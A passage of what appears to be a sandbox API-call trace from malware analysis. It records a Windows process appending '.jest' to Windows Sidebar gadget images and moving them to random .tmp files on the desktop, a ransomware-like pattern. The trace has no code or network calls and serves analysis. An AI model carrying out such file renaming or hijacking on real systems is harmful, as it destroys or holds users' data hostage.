lpFilePart=0x18e708*="QkWBjMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp") returned 0x8f [0127.231] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", lpFilePart=0x18e708*="next_hov.png") returned 0x53 [0127.231] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QkWBjMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qkwbjms-tbqwzgpjsm_vbfii8bboimarfqriefsbu-hctyid_9oi26ylref2ms0piqzvuduoui835ceqpwxyvzmcbxu3i-b9iira1.tmp")) returned 0 [0127.233] GetLastError () returned 0x5 [0127.233] GetLastError () returned 0x5 [0127.233] SetLastError (dwErrCode=0x5) [0127.233] GetLastError () returned 0x5 [0127.233] SetLastError (dwErrCode=0x5) [0127.234] GetLastError () returned 0x5 [0127.234] SetLastError (dwErrCode=0x5) [0127.234] GetFullPathNameA (in: lpFileName="QkWBjMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QkWBjMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp", lpFilePart=0x18e6e4*="QkWBjMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp") returned 0x8f [0127.234] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QkWBjMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x42576b51, cFileName="jMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.234] GetLastError () returned 0x2 [0127.234] GetLastError () returned 0x2 [0127.234] SetLastError (dwErrCode=0x2) [0127.235] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.235] GetTickCount () returned 0x1152405 [0127.235] GetTickCount () returned 0x1152405 [0127.235] CoFreeUnusedLibraries () [0127.235] GetTickCount () returned 0x1152405 [0127.235] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.235] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.235] GetTickCount () returned 0x1152405 [0127.235] IsWindowVisible (hWnd=0x30268) returned 0 [0127.235] Sleep (dwMilliseconds=0x0) [0127.235] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png.jest")) returned 0 [0127.238] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", lpFilePart=0x18e6d8*="next_hov.png") returned 0x4d [0127.238] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85a854ae, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85a854ae, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x57, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 0x143ce48 [0127.239] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.240] VarBstrFromR4 (in: fltIn=0x4794458e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.11") returned 0x0 [0127.240] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.240] GetTickCount () returned 0x1152405 [0127.240] GetTickCount () returned 0x1152405 [0127.240] CoFreeUnusedLibraries () [0127.240] GetTickCount () returned 0x1152405 [0127.240] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.241] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.241] GetTickCount () returned 0x1152405 [0127.241] IsWindowVisible (hWnd=0x30268) returned 0 [0127.241] Sleep (dwMilliseconds=0x0) [0127.241] GetFullPathNameA (in: lpFileName="zLCV0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zLCV0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp", lpFilePart=0x18e708*="zLCV0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp") returned 0x8f [0127.241] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", lpFilePart=0x18e708*="next_hov.png") returned 0x4d [0127.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zLCV0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zlcv0z_6khly-memjjcy5torurobiiqeagvwgxsqdihviswomledfuwz8gb_bus2ah2pakhxyeoskpu6 85uuvqrxxdo5cj1dx5zz.tmp")) returned 0 [0127.244] GetLastError () returned 0x5 [0127.244] GetLastError () returned 0x5 [0127.244] SetLastError (dwErrCode=0x5) [0127.244] GetLastError () returned 0x5 [0127.244] SetLastError (dwErrCode=0x5) [0127.244] GetLastError () returned 0x5 [0127.244] SetLastError (dwErrCode=0x5) [0127.244] GetFullPathNameA (in: lpFileName="zLCV0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zLCV0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp", lpFilePart=0x18e6e4*="zLCV0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp") returned 0x8f [0127.244] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zLCV0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x56434c7a, cFileName="0z_6KhLY-MEmJJCY5tORUrOBiIQeAGvWgxsqdihVIsWOMLEDfUwZ8Gb_BUS2AH2PAkhXyEoskPu6 85uUVqrxxDo5cj1DX5Zz.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.244] GetLastError () returned 0x2 [0127.244] GetLastError () returned 0x2 [0127.244] SetLastError (dwErrCode=0x2) [0127.246] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.246] GetTickCount () returned 0x1152415 [0127.246] GetTickCount () returned 0x1152415 [0127.246] CoFreeUnusedLibraries () [0127.246] GetTickCount () returned 0x1152415 [0127.246] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.246] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.246] GetTickCount () returned 0x1152415 [0127.246] IsWindowVisible (hWnd=0x30268) returned 0 [0127.246] Sleep (dwMilliseconds=0x0) [0127.247] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png.jest")) returned 0 [0127.249] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", lpFilePart=0x18e6d8*="play_hov.png") returned 0x53 [0127.249] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf17664, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf17664, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb20a77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x57, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 0x143ce48 [0127.250] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.251] VarBstrFromR4 (in: fltIn=0x4794458f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.12") returned 0x0 [0127.251] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.251] GetTickCount () returned 0x1152415 [0127.251] GetTickCount () returned 0x1152415 [0127.251] CoFreeUnusedLibraries () [0127.251] GetTickCount () returned 0x1152415 [0127.251] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.251] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.251] GetTickCount () returned 0x1152415 [0127.252] IsWindowVisible (hWnd=0x30268) returned 0 [0127.252] Sleep (dwMilliseconds=0x0) [0127.252] GetFullPathNameA (in: lpFileName="3l O4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3l O4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp", lpFilePart=0x18e708*="3l O4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp") returned 0x8e [0127.252] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", lpFilePart=0x18e708*="play_hov.png") returned 0x53 [0127.252] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3l O4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3l o4rwlmrzglu35df2v pb9gn9fgohp7mwlpdokjh5r nibelkmthnzpjmmcoua7wi-dulhvftfjiwbh_njubeqsh9zqhcy6ewp.tmp")) returned 0 [0127.254] GetLastError () returned 0x5 [0127.254] GetLastError () returned 0x5 [0127.254] SetLastError (dwErrCode=0x5) [0127.255] GetLastError () returned 0x5 [0127.255] SetLastError (dwErrCode=0x5) [0127.255] GetLastError () returned 0x5 [0127.255] SetLastError (dwErrCode=0x5) [0127.255] GetFullPathNameA (in: lpFileName="3l O4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3l O4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp", lpFilePart=0x18e6e4*="3l O4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp") returned 0x8e [0127.255] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3l O4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4f206c33, cFileName="4RWLmRzGlU35Df2v pb9Gn9fgoHp7mwLPdokJH5r NIbElkmTHnzPJMMCOUa7wi-DUlHvftfJIWbH_NJubeQSh9ZqhcY6eWp.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.255] GetLastError () returned 0x2 [0127.255] GetLastError () returned 0x2 [0127.255] SetLastError (dwErrCode=0x2) [0127.256] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.256] GetTickCount () returned 0x1152415 [0127.256] GetTickCount () returned 0x1152415 [0127.256] CoFreeUnusedLibraries () [0127.256] GetTickCount () returned 0x1152415 [0127.256] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.256] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.256] GetTickCount () returned 0x1152415 [0127.256] IsWindowVisible (hWnd=0x30268) returned 0 [0127.256] Sleep (dwMilliseconds=0x0) [0127.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png.jest")) returned 0 [0127.260] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", lpFilePart=0x18e6d8*="play_hov.png") returned 0x4d [0127.260] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da81ca5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x57, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 0x143ce48 [0127.261] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.263] VarBstrFromR4 (in: fltIn=0x47944592, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.14") returned 0x0 [0127.263] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.263] GetTickCount () returned 0x1152424 [0127.263] GetTickCount () returned 0x1152424 [0127.263] CoFreeUnusedLibraries () [0127.263] GetTickCount () returned 0x1152424 [0127.263] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.263] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.263] GetTickCount () returned 0x1152424 [0127.263] IsWindowVisible (hWnd=0x30268) returned 0 [0127.263] Sleep (dwMilliseconds=0x0) [0127.264] GetFullPathNameA (in: lpFileName="p30lJ_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p30lJ_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp", lpFilePart=0x18e708*="p30lJ_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp") returned 0x8f [0127.265] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png", lpFilePart=0x18e708*="play_hov.png") returned 0x4d [0127.265] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_hov.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p30lJ_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p30lj_lshdw0hp38wdxzbqfhrtrmuaahvdhokks9oe7rfqmhxg-nbyhw52fpmjq6x1q4bll_7uqkzmvf9svf xxlqcx3xgl7cy_hy.tmp")) returned 0 [0127.267] GetLastError () returned 0x5 [0127.267] GetLastError () returned 0x5 [0127.267] SetLastError (dwErrCode=0x5) [0127.267] GetLastError () returned 0x5 [0127.267] SetLastError (dwErrCode=0x5) [0127.267] GetLastError () returned 0x5 [0127.267] SetLastError (dwErrCode=0x5) [0127.267] GetFullPathNameA (in: lpFileName="p30lJ_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p30lJ_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp", lpFilePart=0x18e6e4*="p30lJ_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp") returned 0x8f [0127.268] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p30lJ_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6c303370, cFileName="J_Lshdw0HP38WDxzBqfhRtRMuAAHvdHokKS9oE7rfqMhXG-nbyHW52FPmJq6x1Q4bll_7uqkzMVF9svf xXLqcx3XgL7CY_HY.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.268] GetLastError () returned 0x2 [0127.268] GetLastError () returned 0x2 [0127.268] SetLastError (dwErrCode=0x2) [0127.269] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.269] GetTickCount () returned 0x1152424 [0127.269] GetTickCount () returned 0x1152424 [0127.269] CoFreeUnusedLibraries () [0127.269] GetTickCount () returned 0x1152424 [0127.269] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.269] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.269] GetTickCount () returned 0x1152424 [0127.269] IsWindowVisible (hWnd=0x30268) returned 0 [0127.269] Sleep (dwMilliseconds=0x0) [0127.270] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png.jest")) returned 0 [0127.272] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", lpFilePart=0x18e6d8*="prev_hov.png") returned 0x53 [0127.272] FindFirstFileA (in: 